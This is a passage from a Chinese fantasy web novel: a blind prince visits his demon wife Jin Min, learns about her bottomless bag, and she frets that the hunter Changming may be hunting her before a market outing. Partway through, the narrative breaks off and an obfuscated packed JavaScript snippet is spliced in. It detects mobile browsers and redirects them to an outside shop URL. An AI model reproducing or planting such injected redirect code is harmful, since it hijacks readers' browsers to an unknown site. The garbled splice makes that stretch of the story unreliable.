房顶躺着的长命本来要躲,见只有他一个人,就原地没动—— 反正他看不见。 金敏打开门,发现是薛言辞,面露诧异。 “王爷?你怎么来了,是有什么事吗?” “怎么。”薛言辞余光扫过房顶上悠哉悠哉躺着的长命,“你这里旁人来得,本王来不得?” 金敏恍惚地摇头:“不是,听说你这几日很忙,若不是有什么重要的事应该没有空来找我吧?” 她说的是实话,知州府的人是这么同她说的。 薛言辞深吸一口气,越过她直接进门坐在桌边,盲杖随手往地上一扔,将手里那盘松子糕放在桌上。 “厨房剩下的,本王瞧着扔了浪费,给你吧。” 金敏微微睁大眼睛,暗道这州府的人类也太浪费了,这么好的东西说扔就扔。 她赶紧端过来,拿了一个塞进嘴里,剩下的统统倒进乾坤袋。 薛言辞看着她的动作,颇有些好奇。 “这么多东西……你是怎么放进那么小的袋子的?” 乾坤袋不过成年人的巴掌大小,那一盘松子糕,看起来两块就能撑满。 金敏闻言好奇地看过来,眼睛里明晃晃的就是“你又看不见,你怎么知道的”。 薛言辞面不改色:“玄笔告诉本王的。” 金敏了然的点点头,犹豫片刻,还是将宝贝乾坤袋递给薛言辞。 薛言辞本来看着那袋子只是个普普通通,几片破布料缝合起来的小包。 但是一放在手里,他看到的瞬间就不一样了。 他的眼前浮现出一个巨大的、望不到边的浅金色空间,里面什么都有。 什么零碎的衣裳、各式各样的果子、奇形怪状的树枝,还有一堆石头子儿,千奇百怪。 “王爷?” 直到金敏叫他,他才回过神,讷讷将乾坤袋还给她。 “这袋子……什么都能装吗?” 金敏想了想:“差不多吧。” 这袋子是很早以前她捡来的,当时的容量只有一个背包大小,她这些年修炼一点就缝缝补补的加一点,目前还没有发现放不进去的东西。 薛言辞的第一反应是,如果用此乾坤袋将宝藏装了,直接带回京城,那岂不是所有问题都迎刃而解了? 他斟酌了一番,侧面问道:“你这袋子是从何处得来的?” 金敏突然就有些心虚:“……捡来的。” “捡的?” 薛言辞看她的表情,倒是像偷的。 金敏马上解释:“真的是捡来的,当时道士们猎杀妖群,满地都是散落的宝贝。他们拿着妖丹和好东西走了,这袋子是剩下的。他们不要,我才捡的。” 这袋子的原主人应该是个修为不太高的小妖,那些道士们嫌弃这袋子太小,随手就扔在路边了。 薛言辞听完久久没能言语。 心口有些发闷,那句“可否借乾坤袋一用”是怎么都说不出口。 房顶上的长命也忽然喉头一紧。 据他所知,不法天一直都有猎妖的业务。 有时为了训练破妄部的弟子,也会让他们去妖的栖息地练习。 如果是受人之托剿灭妖物,那么从妖那里得到的所有东西都会原封不动交给单主。 但若是弟子训练,那么得到的东西都归破妄部弟子所有。 以前他从未觉得有什么不对,但是现在他却忽然发现,那些曾经被他们以“战利品”计件的妖,也都是一条条活生生的性命。 薛言辞沉吟良久,默默叹了口气:“没想到你们妖类竟然过得如此凄惨。” 本以为那只被囚禁看守宝藏的章鱼妖已经够惨了,没想到它竟然还是比较幸运的那个。 最起码还活着,虽然经受了百年的折磨后,但有幸遇到了金敏,拯救它于水火。 怪不得妖类至今已经快要绝迹。 这样的生存环境,金敏能活下来,还保持着如此纯良的心性,已经很不容易了。 薛言辞站起身,语气柔和了些。 “本王就是来看看你,若是缺什么东西,尽管让人来寻我。” 金敏点点头又摇摇头:“我什么都不缺。” 她的乾坤袋里的存粮够她吃很久,对于她来说,只要有吃的,就什么都不缺。 薛言辞默了默,离开了屋子。 金敏站在门前看着他的背影消失,然后有些忌惮的瞥一眼房顶。 其实在长命夺李执微的剑,为其加注术法的时候,她就隐隐知道此人可能并不像她想象中那么简单。 但她还是自欺欺人的告诉自己,说不定长命只是从哪里学到了些秘术,并不是专门猎妖的。 章鱼妖的话戳破了她最后一丝幻想。 长命真的是猎妖人。 或许长命一开始,就是来杀她的。 而她却和长命互换了名讳,成为朋友…… 接下来她要怎么做? 屋顶的长命感觉到她的注意力在他身上,便以为她找他有事,轻盈一跃落在她面前。 金敏吓了一跳,连连后退,脸上尽是警惕。 这样的神情在长命心头狠狠刺了一下,他有些手足无措,只能僵硬地问:“你找我?” 金敏摇头快摇出了残影:“你……你为什么一直不走?” 长命张了张嘴,不知该如何解释。 “我不知道该去哪。” 这下轮到金敏沉默了。 她何尝知道自己能去哪呢? 这些年她四海为家,每一次寻到的住处被毁,她都要去寻找下一个落脚点。 本以为只有她四处飘零,没想到猎妖人中也人有和她一样。 虽然心中感慨,可长命到底是个猎妖的。 金敏想了想,从乾坤袋里掏出很多珍藏的粮食放在地上。 “你拿走吧,别再跟着我了。” 长命眸光微动,心情像是沉入深渊的石头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115936|195736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直往下坠。 半晌,他苦涩点头,转身翻出了院墙。 最终薛言辞也没有再提过用乾坤袋运输财物。 人类之间的事,还是不要拉着妖下水为好。 在粟州盘桓了月余,终于安稳的将赵德立留下的宝藏尽数运回京城。 事情结束,薛燃很高兴,当即免了许多偏远贫瘠之地的三年赋税、为各州道路难行的地方增修大路大桥,又给边境前线将士们做了新的冬衣。 赵德立搜刮来的民脂民膏,将会以另一种形式,回馈在百姓身上。 经此一事,安王的名声在百姓中来了个一百八十度大反转。 民间都说,安王和安王妃一心为民,以万金之躯亲自下那情况不明的洞穴。 还有飞鸾将军李执微,听说她为了寻到宝藏,险些命丧于此。 大乾有这样的皇室、有这样的将军,实乃万民之幸。 薛言辞一连几日心情都不错。 这天阳光正好,他便拉着金敏出门逛街。 笔墨纸砚四人看着走在前面相携的王爷王妃,心中甚感欣慰。 以往王爷是最不喜欢出门的,尤其不愿意去街上人多的地方,现在居然都开始主动提出来了。 自从王妃入门,他们安王府还真是好事一连串啊。 金敏不知道他们心里的小九九,她以前也很害怕热闹的街道,基本不会往这种地方凑。 但是不敢去不代表不想去。 觉得跟在薛言辞身边,倒是可以去看看新鲜。 京城最热闹的要数开平大街,自晨光初露便热闹非凡。 青石板路被摩的油光锃亮,两侧商铺鳞次栉比。 绸缎庄的招牌都是顶好的天丝锦,在阳光下波光粼粼,随风清扬。 马车走在路上便能听到叫卖声此起彼伏,货郎摇着拨浪鼓吆喝着卖糖人,小贩肩挑担子叫卖卤味炊饼,嗓音洪亮穿透人潮。 二人从马车上下来,一路慢慢步行。 金敏头一次来这么多人的街道,紧张之余还有些新奇,东瞅瞅西看看,看见什么都两眼亮晶晶。 薛言辞在一旁瞧着,只要她喜欢什么,就都让人买下来。 金敏一开始还觉得不太好意思,想推脱一番。 薛言辞淡淡道:“这次粟州之行王妃功劳甚大,你便是把这条街买下来都可以。” 金敏一听,完全没了心里负担,看到什么都往自己乾坤袋里塞。 毕竟以后说不定还能不能再来,先囤起来不亏。 她埋头边走边拿,到了一处摊子,下意识的一抓,发现是一个龟壳。 再抬头一看,嘿,一个清瘦的男人,发髻松松垮垮的盘在头顶,插着根枯木簪子。 他一身青衣道袍,背后背着桃木剑,两撇山羊胡耷在下巴,左手支着个招牌,上书“测字算命,趋吉避凶”。 男人眯着眼摇头晃脑,似乎沉浸在自己的世界。 金敏目光呆呆的从他的衣裳挪到桌上,黄纸上是正经八卦图。 她倒吸一口气,如果此时是原型的话,身上的毛已经全炸起来了。 这是……道士!!! 完啦!要死啦! 她撞见道士啦!